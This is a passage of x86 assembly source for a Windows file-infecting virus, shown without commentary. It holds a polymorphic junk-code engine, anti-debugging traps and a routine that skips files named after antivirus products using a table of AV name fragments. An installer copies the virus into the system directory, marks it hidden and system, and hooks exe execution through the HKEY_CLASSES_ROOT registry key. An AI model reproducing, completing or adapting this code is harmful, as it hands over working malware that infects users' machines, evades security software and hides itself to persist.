;way 1:
|
||
|
|
; push esp
|
||
|
|
;way 2:
|
||
|
|
; mov reg,esp
|
||
|
|
; push reg
|
||
|
|
;------------------------------------------
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,4b0h ;get number between 0 ~ 1200
|
||
|
|
cmp eax,258h
|
||
|
|
ja _PushEsp1
|
||
|
|
mov al,54h ;push esp
|
||
|
|
stosb
|
||
|
|
jmp ___1__
|
||
|
|
_PushEsp1:
|
||
|
|
call GenRandomNumber ;way 2:
|
||
|
|
and eax,7h ;move reg,esp
|
||
|
|
push eax ;push reg
|
||
|
|
mov ecx,8h
|
||
|
|
mul ecx
|
||
|
|
xchg al,ah
|
||
|
|
add ah,0c4h
|
||
|
|
mov al,8bh
|
||
|
|
stosw
|
||
|
|
call _WriteJunkCode
|
||
|
|
pop eax
|
||
|
|
add al,50h
|
||
|
|
stosb
|
||
|
|
___1__:
|
||
|
|
call WriteJunkCode
|
||
|
|
;gen 'push dword ptr fs:[0]'
|
||
|
|
;way 1:
|
||
|
|
; push dword ptr fs:[0]
|
||
|
|
;way 2:
|
||
|
|
; xor/sub reg,reg
|
||
|
|
; push dword ptr fs:[reg]
|
||
|
|
;way 3:
|
||
|
|
; xor/sub reg,reg
|
||
|
|
; push dword ptr fs:[reg+reg]
|
||
|
|
;--------------------------------------------
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,4b0h
|
||
|
|
cmp eax,190h
|
||
|
|
ja _nW
|
||
|
|
mov eax,36FF6764h
|
||
|
|
stosd
|
||
|
|
xor eax,eax
|
||
|
|
stosw
|
||
|
|
jmp NextIns
|
||
|
|
_nW: cmp eax,320h
|
||
|
|
ja _nW2
|
||
|
|
call GenEmptyReg
|
||
|
|
push ecx
|
||
|
|
call _WriteJunkCode
|
||
|
|
pop ecx
|
||
|
|
sub ch,0c0h
|
||
|
|
xor eax,eax
|
||
|
|
mov al,ch
|
||
|
|
mov ecx,9h
|
||
|
|
div ecx
|
||
|
|
xchg al,cl
|
||
|
|
mov ax,0ff64h
|
||
|
|
stosw
|
||
|
|
xchg al,cl
|
||
|
|
add al,30h
|
||
|
|
stosb
|
||
|
|
jmp NextIns
|
||
|
|
_nW2: call GenEmptyReg
|
||
|
|
push ecx
|
||
|
|
call _WriteJunkCode
|
||
|
|
pop ecx
|
||
|
|
sub ch,0c0h
|
||
|
|
xchg ah,ch
|
||
|
|
mov al,34h
|
||
|
|
shl eax,10h
|
||
|
|
mov ax,0ff64h
|
||
|
|
stosd
|
||
|
|
NextIns:
|
||
|
|
call WriteJunkCode
|
||
|
|
;gen 'mov fs:[0],esp
|
||
|
|
;way 1:
|
||
|
|
; mov fs:[0],esp
|
||
|
|
;way 2:
|
||
|
|
; xor/sub reg,reg
|
||
|
|
; mov fs:[reg],esp
|
||
|
|
;way 3:
|
||
|
|
; mov reg,esp
|
||
|
|
; mov fs:[0],reg
|
||
|
|
;---------------------------------------------
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,4b0h
|
||
|
|
cmp eax,190h
|
||
|
|
ja __nW1
|
||
|
|
mov eax,26896764h
|
||
|
|
stosd
|
||
|
|
xor eax,eax
|
||
|
|
stosw
|
||
|
|
jmp GenF
|
||
|
|
__nW1: cmp eax,320h
|
||
|
|
ja __nW2
|
||
|
|
call GenEmptyReg
|
||
|
|
sub ch,0c0h
|
||
|
|
push ecx
|
||
|
|
call _WriteJunkCode
|
||
|
|
pop ecx
|
||
|
|
xor eax,eax
|
||
|
|
mov al,ch
|
||
|
|
mov ecx,9h
|
||
|
|
div ecx
|
||
|
|
push eax
|
||
|
|
mov ax,8964h
|
||
|
|
stosw
|
||
|
|
pop eax
|
||
|
|
add al,20h
|
||
|
|
stosb
|
||
|
|
jmp GenF
|
||
|
|
__nW2: call GenMovRegEsp
|
||
|
|
push ecx
|
||
|
|
call _WriteJunkCode
|
||
|
|
pop ecx
|
||
|
|
add cl,0eh
|
||
|
|
mov eax,89676400h
|
||
|
|
mov al,cl
|
||
|
|
ror eax,8h
|
||
|
|
stosd
|
||
|
|
xor eax,eax
|
||
|
|
stosw
|
||
|
|
GenF:
|
||
|
|
;gen 'page fault',in order to force debugger to jump
|
||
|
|
;way 1:
|
||
|
|
; int 3
|
||
|
|
;way 2:
|
||
|
|
; ud2 -> undefine instruction (0fh,0bh)
|
||
|
|
;way 3:
|
||
|
|
; mov ecx,0\xor ecx,ecx\sub ecx\ecx
|
||
|
|
; div ecx
|
||
|
|
;--------------------------------------------------------
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,384h
|
||
|
|
cmp eax,12ch
|
||
|
|
ja _F_1
|
||
|
|
mov al,0cch
|
||
|
|
stosb
|
||
|
|
jmp ExitGF
|
||
|
|
_F_1: cmp eax,258h
|
||
|
|
ja _F_2
|
||
|
|
mov ax,0b0fh
|
||
|
|
stosw
|
||
|
|
jmp ExitGF
|
||
|
|
_F_2: call GenRandomNumber
|
||
|
|
and eax,384h
|
||
|
|
cmp eax,12ch
|
||
|
|
ja _ecx0_1
|
||
|
|
mov al,0b9h
|
||
|
|
stosb
|
||
|
|
xor eax,eax
|
||
|
|
stosd
|
||
|
|
jmp div_ecx
|
||
|
|
_ecx0_1:cmp eax,258h
|
||
|
|
ja _ecx0_2
|
||
|
|
mov ax,0c92bh
|
||
|
|
stosw
|
||
|
|
jmp div_ecx
|
||
|
|
_ecx0_2:mov ax,0c933h
|
||
|
|
stosw
|
||
|
|
div_ecx:call WriteJunkCode
|
||
|
|
mov ax,0f1f7h
|
||
|
|
stosw
|
||
|
|
ExitGF: ret
|
||
|
|
|
||
|
|
;instructions to generate in the stack:
|
||
|
|
push_and_ret db 68h,0,0,0,0,0c3h
|
||
|
|
|
||
|
|
|
||
|
|
_WriteJunkCode: ;gen junk code that dont destroy registers
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,5208h
|
||
|
|
cmp eax,0bb8h
|
||
|
|
ja _WJC1
|
||
|
|
call GenAndReg
|
||
|
|
jmp ExitJC
|
||
|
|
_WJC1: cmp eax,1770h
|
||
|
|
ja _WJC2
|
||
|
|
call GenJump
|
||
|
|
jmp ExitJC
|
||
|
|
_WJC2: cmp eax,2328h
|
||
|
|
ja _WJC3
|
||
|
|
call GenPushPop
|
||
|
|
jmp ExitJC
|
||
|
|
_WJC3: cmp eax,2ee0h
|
||
|
|
ja _WJC4
|
||
|
|
call GenIncDec
|
||
|
|
jmp ExitJC
|
||
|
|
_WJC4: cmp eax,3a98h
|
||
|
|
ja _WJC5
|
||
|
|
call GenMoveRegReg
|
||
|
|
jmp ExitJC
|
||
|
|
_WJC5: call OneByte
|
||
|
|
ExitJC: ret
|
||
|
|
|
||
|
|
;output cl:reg id
|
||
|
|
GenMovRegEsp:
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,00000600h
|
||
|
|
mov ecx,8h
|
||
|
|
mul ecx
|
||
|
|
mov cl,ah
|
||
|
|
add ah,0cch
|
||
|
|
mov al,8bh
|
||
|
|
stosw
|
||
|
|
ret
|
||
|
|
|
||
|
|
;output ch:reg id
|
||
|
|
GenEmptyReg:
|
||
|
|
call GenRandomNumber
|
||
|
|
xor ecx,ecx
|
||
|
|
and eax,5208h
|
||
|
|
cmp eax,0bb8h
|
||
|
|
ja _ER
|
||
|
|
mov ch,0c0h
|
||
|
|
jmp _ER_
|
||
|
|
_ER: cmp eax,1770h
|
||
|
|
ja _ER2
|
||
|
|
mov ch,0dbh
|
||
|
|
jmp _ER_
|
||
|
|
_ER2: cmp eax,2328h
|
||
|
|
ja _ER3
|
||
|
|
mov ch,0c9h
|
||
|
|
jmp _ER_
|
||
|
|
_ER3: cmp eax,2ee0h
|
||
|
|
ja _ER4
|
||
|
|
mov ch,0d2h
|
||
|
|
jmp _ER_
|
||
|
|
_ER4: cmp eax,3a98h
|
||
|
|
ja _ER5
|
||
|
|
mov ch,0ffh
|
||
|
|
jmp _ER_
|
||
|
|
_ER5: mov ch,0f6h
|
||
|
|
_ER_: call GenRandomNumber
|
||
|
|
cmp ah,80h
|
||
|
|
ja _ER__
|
||
|
|
mov cl,33h
|
||
|
|
jmp _E_R
|
||
|
|
_ER__: mov cl,2bh
|
||
|
|
_E_R: mov ax,cx
|
||
|
|
stosw
|
||
|
|
ret
|
||
|
|
|
||
|
|
|
||
|
|
GenMoveAndPush:
|
||
|
|
push eax ;number to mov & push
|
||
|
|
No_Esp: call GenRandomNumber
|
||
|
|
and al,7h
|
||
|
|
mov cl,al
|
||
|
|
add al,0b8h
|
||
|
|
cmp al,0bch
|
||
|
|
je No_Esp
|
||
|
|
stosb
|
||
|
|
pop eax
|
||
|
|
stosd
|
||
|
|
push ecx
|
||
|
|
call _WriteJunkCode ;gen junk between the mov and the push
|
||
|
|
pop eax
|
||
|
|
add al,50h
|
||
|
|
stosb
|
||
|
|
ret
|
||
|
|
|
||
|
|
InitRandomNumber:
|
||
|
|
call [ebp + GetTickCount]
|
||
|
|
mov dword ptr [ebp + RandomNumber],eax
|
||
|
|
ret
|
||
|
|
RandomNumber dd 0
|
||
|
|
GenRandomNumber: ;a simple random num generator
|
||
|
|
pushad
|
||
|
|
mov eax,dword ptr [ebp + RandomNumber]
|
||
|
|
and eax,12345678h
|
||
|
|
mov cl,ah
|
||
|
|
ror eax,cl
|
||
|
|
add eax,98765abdh
|
||
|
|
mov ecx,12345678h
|
||
|
|
mul ecx
|
||
|
|
add eax,edx
|
||
|
|
xchg ah,al
|
||
|
|
sub eax,edx
|
||
|
|
mov dword ptr [ebp + RandomNumber],eax
|
||
|
|
popad
|
||
|
|
mov eax,dword ptr [ebp + RandomNumber]
|
||
|
|
ret
|
||
|
|
|
||
|
|
WriteJunkCode:
|
||
|
|
call GenRandomNumber ;split this procedure
|
||
|
|
and eax,3e8h ;to four procedure's
|
||
|
|
cmp eax,0fah ;in order to give each
|
||
|
|
ja _jnk1 ;junkcode the same chance
|
||
|
|
call WriteJunkCode1
|
||
|
|
jmp ExitJunk
|
||
|
|
_jnk1: cmp eax,1f4h
|
||
|
|
ja _jnk2
|
||
|
|
call WriteJunkCode2
|
||
|
|
jmp ExitJunk
|
||
|
|
_jnk2: cmp eax,2eeh
|
||
|
|
ja _jnk3
|
||
|
|
call WriteJunkCode3
|
||
|
|
jmp ExitJunk
|
||
|
|
_jnk3: call WriteJunkCode4
|
||
|
|
ExitJunk:ret
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
WriteJunkCode1:
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,3e8h
|
||
|
|
cmp eax,0fah
|
||
|
|
ja _jnk_1
|
||
|
|
call GenAndReg ;1
|
||
|
|
jmp ExtJunk1
|
||
|
|
_jnk_1: cmp eax,1f4h
|
||
|
|
ja _jnk_2
|
||
|
|
call GenJump ;2
|
||
|
|
jmp ExtJunk1
|
||
|
|
_jnk_2: cmp eax,2eeh
|
||
|
|
ja _jnk_3
|
||
|
|
call GenPushPop ;3
|
||
|
|
jmp ExtJunk1
|
||
|
|
_jnk_3: call GenIncDec ;4
|
||
|
|
ExtJunk1:ret
|
||
|
|
|
||
|
|
|
||
|
|
WriteJunkCode2:
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,3e8h
|
||
|
|
cmp eax,0fah
|
||
|
|
ja _jn_k1
|
||
|
|
call GenMoveRegReg ;5
|
||
|
|
jmp ExtJunk2
|
||
|
|
_jn_k1: cmp eax,1f4h
|
||
|
|
ja _jn_k2
|
||
|
|
call GenAnd ;6
|
||
|
|
jmp ExtJunk2
|
||
|
|
_jn_k2: cmp eax,2eeh
|
||
|
|
ja _jn_k3
|
||
|
|
call GenMove ;7
|
||
|
|
jmp ExtJunk2
|
||
|
|
_jn_k3: call GenPushTrashPopReg ;8
|
||
|
|
ExtJunk2:ret
|
||
|
|
|
||
|
|
|
||
|
|
WriteJunkCode3:
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,3e8h
|
||
|
|
cmp eax,0fah
|
||
|
|
ja _j_nk1
|
||
|
|
call GenShrReg ;9
|
||
|
|
jmp ExtJunk3
|
||
|
|
_j_nk1: cmp eax,1f4h
|
||
|
|
ja _j_nk2
|
||
|
|
call GenShlReg ;10
|
||
|
|
jmp ExtJunk3
|
||
|
|
_j_nk2: cmp eax,2eeh
|
||
|
|
ja _j_nk3
|
||
|
|
call GenRorReg ;11
|
||
|
|
jmp ExtJunk3
|
||
|
|
_j_nk3: call GenRolReg ;12
|
||
|
|
ExtJunk3:ret
|
||
|
|
|
||
|
|
|
||
|
|
WriteJunkCode4:
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,3e8h
|
||
|
|
cmp eax,0fah
|
||
|
|
ja __jnk1
|
||
|
|
call GenOrReg ;13
|
||
|
|
jmp ExtJunk4
|
||
|
|
__jnk1: cmp eax,1f4h
|
||
|
|
ja __jnk2
|
||
|
|
call GenXorReg ;14
|
||
|
|
jmp ExtJunk4
|
||
|
|
__jnk2: cmp eax,2eeh
|
||
|
|
ja __jnk3
|
||
|
|
call GenSubAddTrash ;15
|
||
|
|
jmp ExtJunk4
|
||
|
|
__jnk3: call OneByte ;16
|
||
|
|
ExtJunk4:ret
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
GenAndReg:
|
||
|
|
;this function generate and reg,reg instruction
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,1f40h
|
||
|
|
cmp eax,3e8h
|
||
|
|
ja and2
|
||
|
|
mov ah,0c0h
|
||
|
|
jmp exitand
|
||
|
|
and2: cmp eax,7d0h
|
||
|
|
ja and3
|
||
|
|
mov ah,0dbh
|
||
|
|
jmp exitand
|
||
|
|
and3: cmp eax,0bb8h
|
||
|
|
ja and4
|
||
|
|
mov ah,0c9h
|
||
|
|
jmp exitand
|
||
|
|
and4: cmp eax,0fa0h
|
||
|
|
ja and5
|
||
|
|
mov ah,0d2h
|
||
|
|
jmp exitand
|
||
|
|
and5: cmp eax,1388
|
||
|
|
ja and6
|
||
|
|
mov ah,0ffh
|
||
|
|
jmp exitand
|
||
|
|
and6: cmp eax,1770h
|
||
|
|
ja and7
|
||
|
|
mov ah,0f6h
|
||
|
|
jmp exitand
|
||
|
|
and7: cmp eax,1b58h
|
||
|
|
ja and8
|
||
|
|
mov ah,0edh
|
||
|
|
jmp exitand
|
||
|
|
and8: mov ah,0e4h
|
||
|
|
exitand:mov al,23h
|
||
|
|
stosw
|
||
|
|
ret
|
||
|
|
|
||
|
|
GenJump:
|
||
|
|
;this function generate do nothing condition jump
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,0fh
|
||
|
|
add eax,70h
|
||
|
|
stosw
|
||
|
|
ret
|
||
|
|
|
||
|
|
GenPushPop:
|
||
|
|
;this function generate push reg \ pop reg instruction
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,7h
|
||
|
|
add eax,50h
|
||
|
|
stosb
|
||
|
|
add eax,8h
|
||
|
|
stosb
|
||
|
|
ret
|
||
|
|
|
||
|
|
GenIncDec:
|
||
|
|
;this function generate:inc reg\dec reg or dec reg\inc reg instruction
|
||
|
|
call GenRandomNumber
|
||
|
|
cmp al,7fh
|
||
|
|
ja decinc
|
||
|
|
and eax,7h
|
||
|
|
add eax,40h
|
||
|
|
stosb
|
||
|
|
add eax,8h
|
||
|
|
stosb
|
||
|
|
jmp exitincd
|
||
|
|
decinc: and eax,7h
|
||
|
|
add eax,48h
|
||
|
|
mov byte ptr [edi],al
|
||
|
|
stosb
|
||
|
|
sub eax,8h
|
||
|
|
mov byte ptr [edi],al
|
||
|
|
stosb
|
||
|
|
exitincd:ret
|
||
|
|
|
||
|
|
|
||
|
|
GenMoveRegReg: ;gen mov reg,reg
|
||
|
|
call GenRandomNumber
|
||
|
|
and eax,1f40h
|
||
|
|
cmp eax,3e8h
|
||
|
|
ja mreg2
|
||
|
|
mov ah,0c0h
|
||
|
|
jmp exitmreg
|
||
|
|
mreg2: cmp eax,7d0h
|
||
|
|
ja mreg3
|
||
|
|
mov ah,0dbh
|
||
|
|
jmp exitmreg
|
||
|
|
mreg3: cmp eax,0bb8h
|
||
|
|
ja mreg4
|
||
|
|
mov ah,0c9h
|
||
|
|
jmp exitmreg
|
||
|
|
mreg4: cmp eax,0fa0h
|
||
|
|
ja mreg5
|
||
|
|
mov ah,0d2h
|
||
|
|
jmp exitmreg
|
||
|
|
mreg5: cmp eax,1388
|
||
|
|
ja mreg6
|
||
|
|
mov ah,0ffh
|
||
|
|
jmp exitmreg
|
||
|
|
mreg6: cmp eax,1770h
|
||
|
|
ja mreg7
|
||
|
|
mov ah,0f6h
|
||
|
|
jmp exitmreg
|
||
|
|
mreg7: cmp eax,1b58h
|
||
|
|
ja mreg8
|
||
|
|
mov ah,0edh
|
||
|
|
jmp exitmreg
|
||
|
|
mreg8: mov ah,0e4h
|
||
|
|
exitmreg:
|
||
|
|
mov al,8bh
|
||
|
|
stosw
|
||
|
|
ret
|
||
|
|
|
||
|
|
GenAnd:
|
||
|
|
;this function generate and ebx\edx\ebp,trash instruction
|
||
|
|
call GenRandomNumber
|
||
|
|
push eax
|
||
|
|
cmp al,50h
|
||
|
|
ja nand1
|
||
|
|
mov ah,0e3h
|
||
|
|
jmp wand
|
||
|
|
nand1: cmp al,0a0h
|
||
|
|
ja nand2
|
||
|
|
mov ah,0e2h
|
||
|
|
jmp wand
|
||
|
|
nand2: mov ah,0e5h
|
||
|
|
wand: mov al,81h
|
||
|
|
stosw
|
||
|
|
pop eax
|
||
|
|
stosd
|
||
|
|
ret
|
||
|
|
|
||
|
|
GenMove:
|
||
|
|
;this function generate mov ebx\edx\ebp,trash instruction
|
||
|
|
call GenRandomNumber
|
||
|
|
push eax
|
||
|
|
cmp al,50h
|
||
|
|
ja nmov1
|
||
|
|
mov al,0bbh
|
||
|
|
jmp wmov
|
||
|
|
nmov1: cmp al,0a0h
|
||
|
|
ja nmov2
|
||
|
|
mov al,0bah
|
||
|
|
jmp wmov
|
||
|
|
nmov2: mov al,0bdh
|
||
|
|
wmov: stosb
|
||
|
|
pop eax
|
||
|
|
stosd
|
||
|
|
ret
|
||
|
|
|
||
|
|
GenPushTrashPopReg:
|
||
|
|
;this function generate push trash\ pop ebp\ebx\edx instruction
|
||
|
|
call GenRandomNumber
|
||
|
|
mov byte ptr [edi],68h
|
||
|
|
inc edi
|
||
|
|
stosd
|
||
|
|
cmp al,55h
|
||
|
|
ja nextpt
|
||
|
|
mov byte ptr [edi],5dh
|
||
|
|
jmp wpop
|
||
|
|
nextpt: cmp al,0aah
|
||
|
|
ja nextpt2
|
||
|
|
mov byte ptr [edi],5ah
|
||
|
|
jmp wpop
|
||
|
|
nextpt2:mov byte ptr [edi],5bh
|
||
|
|
wpop: inc edi
|
||
|
|
ret
|
||
|
|
|
||
|
|
GenShrReg: ;gen shr unusedreg,num
|
||
|
|
call GenRandomNumber
|
||
|
|
mov byte ptr [edi],0c1h
|
||
|
|
inc edi
|
||
|
|
cmp al,50h
|
||
|
|
ja nshr
|
||
|
|
mov byte ptr [edi],0edh
|
||
|
|
jmp wshr
|
||
|
|
nshr: cmp al,0a0h
|
||
|
|
ja nshr2
|
||
|
|
mov byte ptr [edi],0eah
|
||
|
|
jmp wshr
|
||
|
|
nshr2: mov byte ptr [edi],0ebh
|
||
|
|
wshr: inc edi
|
||
|
|
stosb
|
||
|
|
ret
|
||
|
|
|
||
|
|
GenShlReg: ;gen shl unusedreg,num
|
||
|
|
call GenRandomNumber
|
||
|
|
mov byte ptr [edi],0c1h
|
||
|
|
inc edi
|
||
|
|
cmp al,50h
|
||
|
|
ja nshl
|
||
|
|
mov byte ptr [edi],0e3h
|
||
|
|
jmp wshl
|
||
|
|
nshl: cmp al,0a0h
|
||
|
|
ja nshl2
|
||
|
|
mov byte ptr [edi],0e2h
|
||
|
|
jmp wshl
|
||
|
|
nshl2: mov byte ptr [edi],0e5h
|
||
|
|
wshl: inc edi
|
||
|
|
stosb
|
||
|
|
ret
|
||
|
|
|
||
|
|
GenRorReg: ;gen ror unusedreg,num
|
||
|
|
call GenRandomNumber
|
||
|
|
mov byte ptr [edi],0c1h
|
||
|
|
inc edi
|
||
|
|
cmp al,50h
|
||
|
|
ja nror
|
||
|
|
mov byte ptr [edi],0cbh
|
||
|
|
jmp wror
|
||
|
|
nror: cmp al,0a0h
|
||
|
|
ja nror2
|
||
|
|
mov byte ptr [edi],0cah
|
||
|
|
jmp wror
|
||
|
|
nror2: mov byte ptr [edi],0cdh
|
||
|
|
wror: inc edi
|
||
|
|
stosb
|
||
|
|
ret
|
||
|
|
|
||
|
|
|
||
|
|
GenRolReg: ;gen rol unusedreg,num
|
||
|
|
call GenRandomNumber
|
||
|
|
mov byte ptr [edi],0c1h
|
||
|
|
inc edi
|
||
|
|
cmp al,50h
|
||
|
|
ja nrol
|
||
|
|
mov byte ptr [edi],0c3h
|
||
|
|
jmp wrol
|
||
|
|
nrol: cmp al,0a0h
|
||
|
|
ja nrol2
|
||
|
|
mov byte ptr [edi],0c2h
|
||
|
|
jmp wrol
|
||
|
|
nrol2: mov byte ptr [edi],0c5h
|
||
|
|
wrol: inc edi
|
||
|
|
stosb
|
||
|
|
ret
|
||
|
|
|
||
|
|
GenOrReg: ;gen or unusedreg,num
|
||
|
|
call GenRandomNumber
|
||
|
|
push eax
|
||
|
|
mov al,81h
|
||
|
|
cmp ah,50h
|
||
|
|
ja nor
|
||
|
|
mov ah,0cbh
|
||
|
|
jmp wor
|
||
|
|
nor: cmp ah,0a0h
|
||
|
|
ja nor2
|
||
|
|
mov ah,0cah
|
||
|
|
jmp wor
|
||
|
|
nor2: mov ah,0cdh
|
||
|
|
wor: stosw
|
||
|
|
pop eax
|
||
|
|
stosd
|
||
|
|
ret
|
||
|
|
|
||
|
|
GenXorReg: ;gen xor unusedreg,num
|
||
|
|
call GenRandomNumber
|
||
|
|
push eax
|
||
|
|
mov al,81h
|
||
|
|
cmp ah,50h
|
||
|
|
ja nXor
|
||
|
|
mov ah,0f3h
|
||
|
|
jmp wXor
|
||
|
|
nXor: cmp ah,0a0h
|
||
|
|
ja nXor2
|
||
|
|
mov ah,0f2h
|
||
|
|
jmp wXor
|
||
|
|
nXor2: mov ah,0f5h
|
||
|
|
wXor: stosw
|
||
|
|
pop eax
|
||
|
|
stosd
|
||
|
|
ret
|
||
|
|
|
||
|
|
|
||
|
|
GenSubAddTrash: ;gen add reg,num\sub reg,num
|
||
|
|
noesp: call GenRandomNumber
|
||
|
|
mov ebx,eax
|
||
|
|
cmp al,80h
|
||
|
|
ja sub_f
|
||
|
|
and ah,7h
|
||
|
|
add ah,0c0h
|
||
|
|
cmp ah,0c4h
|
||
|
|
je noesp
|
||
|
|
mov al,81h
|
||
|
|
stosw
|
||
|
|
mov eax,ebx
|
||
|
|
stosd
|
||
|
|
mov eax,ebx
|
||
|
|
and ah,7h
|
||
|
|
add ah,0e8h
|
||
|
|
mov al,81h
|
||
|
|
stosw
|
||
|
|
mov eax,ebx
|
||
|
|
stosd
|
||
|
|
jmp exitsa
|
||
|
|
sub_f: and ah,7h
|
||
|
|
add ah,0e8h
|
||
|
|
cmp ah,0ech
|
||
|
|
je noesp
|
||
|
|
mov al,81h
|
||
|
|
stosw
|
||
|
|
mov eax,ebx
|
||
|
|
stosd
|
||
|
|
mov eax,ebx
|
||
|
|
and ah,7h
|
||
|
|
add ah,0c0h
|
||
|
|
mov al,81h
|
||
|
|
stosw
|
||
|
|
mov eax,ebx
|
||
|
|
stosd
|
||
|
|
exitsa: ret
|
||
|
|
|
||
|
|
OneByte: ;gen one byte do nothing instruction
|
||
|
|
call GenRandomNumber
|
||
|
|
cmp al,32h
|
||
|
|
ja byte1
|
||
|
|
mov al,90h
|
||
|
|
jmp end_get_byte
|
||
|
|
byte1: cmp al,64h
|
||
|
|
ja byte2
|
||
|
|
mov al,0f8h
|
||
|
|
jmp end_get_byte
|
||
|
|
byte2: cmp al,96h
|
||
|
|
ja byte3
|
||
|
|
mov al,0f5h
|
||
|
|
jmp end_get_byte
|
||
|
|
byte3: cmp al,0c8h
|
||
|
|
ja byte4
|
||
|
|
mov al,0f9h
|
||
|
|
jmp end_get_byte
|
||
|
|
byte4: mov al,0fch
|
||
|
|
end_get_byte:
|
||
|
|
stosb
|
||
|
|
ret
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
;check if file is related to av programs or canot be infected
|
||
|
|
;input:
|
||
|
|
;esi - file name
|
||
|
|
;output:
|
||
|
|
;carry flag
|
||
|
|
|
||
|
|
CheckFileName:
|
||
|
|
lea esi,[ebp + FileToInfect]
|
||
|
|
xor ecx,ecx
|
||
|
|
@checkV:cmp byte ptr [esi + ecx],'v'
|
||
|
|
je badfile
|
||
|
|
cmp byte ptr [esi + ecx],'V'
|
||
|
|
je badfile
|
||
|
|
cmp byte ptr [esi + ecx],0h
|
||
|
|
je no_v
|
||
|
|
inc ecx
|
||
|
|
jmp @checkV
|
||
|
|
no_v: push esi ;save file name for later use
|
||
|
|
mov ecx,TwoBytesNames ;scan for 2 bytes bad name
|
||
|
|
lea edi,[ebp + DontInfectTable]
|
||
|
|
l2: mov bx,word ptr [edi]
|
||
|
|
l2_1: mov ax,word ptr [esi]
|
||
|
|
cmp ax,bx
|
||
|
|
je ex_rs
|
||
|
|
add bx,2020h
|
||
|
|
cmp ax,bx
|
||
|
|
je ex_rs
|
||
|
|
sub bx,2020h
|
||
|
|
inc esi
|
||
|
|
cmp byte ptr [esi],0h
|
||
|
|
jne l2_1
|
||
|
|
mov esi,[esp] ;restore file name
|
||
|
|
add edi,2h
|
||
|
|
loop l2
|
||
|
|
mov ecx,FourBytesNames ;scan for 4 bytes bad name
|
||
|
|
lea edi,[ebp + DontInfectTable + (2*TwoBytesNames)]
|
||
|
|
mov esi,[esp] ;get file name
|
||
|
|
l3: mov ebx,dword ptr [edi]
|
||
|
|
l3_1: mov eax,dword ptr [esi]
|
||
|
|
cmp eax,ebx
|
||
|
|
je ex_rs
|
||
|
|
add ebx,20202020h
|
||
|
|
cmp eax,ebx
|
||
|
|
je ex_rs
|
||
|
|
sub ebx,20202020h
|
||
|
|
inc esi
|
||
|
|
cmp byte ptr [esi],0h
|
||
|
|
jne l3_1
|
||
|
|
mov esi,[esp]
|
||
|
|
add edi,4h
|
||
|
|
loop l3
|
||
|
|
pop esi
|
||
|
|
stc
|
||
|
|
ret
|
||
|
|
ex_rs: pop esi
|
||
|
|
badfile:clc
|
||
|
|
ret
|
||
|
|
|
||
|
|
DontInfectTable:
|
||
|
|
|
||
|
|
db "FP"
|
||
|
|
db "TB"
|
||
|
|
db "AW"
|
||
|
|
db "DR"
|
||
|
|
db "F-"
|
||
|
|
TwoBytesNames equ 5
|
||
|
|
db "INOC"
|
||
|
|
db "PAND"
|
||
|
|
db "ANTI"
|
||
|
|
db "AMON"
|
||
|
|
db "N32S"
|
||
|
|
db "NOD3"
|
||
|
|
db "NPSS"
|
||
|
|
db "SMSS"
|
||
|
|
db "SCAN"
|
||
|
|
db "ZONE"
|
||
|
|
db "PROT"
|
||
|
|
db "MONI"
|
||
|
|
db "RWEB"
|
||
|
|
db "MIRC"
|
||
|
|
db "CKDO"
|
||
|
|
db "TROJ"
|
||
|
|
db "SAFE"
|
||
|
|
db "JEDI"
|
||
|
|
db "TRAY"
|
||
|
|
db "ANDA"
|
||
|
|
db "SPID"
|
||
|
|
db "PLOR"
|
||
|
|
db "NDLL"
|
||
|
|
db "TREN"
|
||
|
|
db "NSPL"
|
||
|
|
db "NSCH"
|
||
|
|
db "ALER"
|
||
|
|
|
||
|
|
FourBytesNames equ 27
|
||
|
|
|
||
|
|
InstallVirus:
|
||
|
|
push 0ffh
|
||
|
|
lea eax,[ebp + VirusFile]
|
||
|
|
push eax
|
||
|
|
push 0
|
||
|
|
call [ebp + GetModuleFileName] ;get infected file name
|
||
|
|
push 0ffh
|
||
|
|
lea eax,[ebp + Buffer]
|
||
|
|
push eax
|
||
|
|
call [ebp + GetSystemDirectory] ;get windows directory
|
||
|
|
cmp eax,0h
|
||
|
|
je ExitInstall
|
||
|
|
lea eax,[ebp + ExeHookerName]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + Buffer]
|
||
|
|
push eax
|
||
|
|
call [ebp + lstrcat]
|
||
|
|
cmp eax,0h
|
||
|
|
je ExitInstall
|
||
|
|
call CreateVirusFile ;create a exe that has only virus insaid
|
||
|
|
push FILE_ATTRIBUTE_READONLY or FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM
|
||
|
|
lea eax,[ebp + Buffer]
|
||
|
|
push eax
|
||
|
|
call [ebp + SetFileAttributes] ;hide the virus exe file hooker
|
||
|
|
lea eax,[ebp + hkey]
|
||
|
|
push eax
|
||
|
|
push KEY_WRITE
|
||
|
|
push 0
|
||
|
|
lea eax,[ebp + ExeHookKey]
|
||
|
|
push eax
|
||
|
|
push HKEY_CLASSES_ROOT
|
||
|
|
call [ebp + RegOpenKeyEx]
|
||
|
|
cmp eax,0h
|
||
|
|
jne ExitInstall
|
||
|
|
lea eax,[ebp + Buffer]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + ExeHookerValue]
|
||
|
|
push eax
|
||
|
|
call [ebp + lstrcat]
|
||
|
|
cmp eax,0h
|
||
|
|
je closkey
|
||
|
|
lea eax,[ebp + ExeHookerEndOfValue]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + ExeHookerValue]
|
||
|
|
push eax
|
||
|
|
call [ebp + lstrcat]
|
||
|
|
cmp eax,0h
|
||
|
|
je closkey
|
||
|
|
xor ecx,ecx
|
||
|
|
lea eax,[ebp + ExeHookerValue]
|
||
|
|
dec eax
|
||
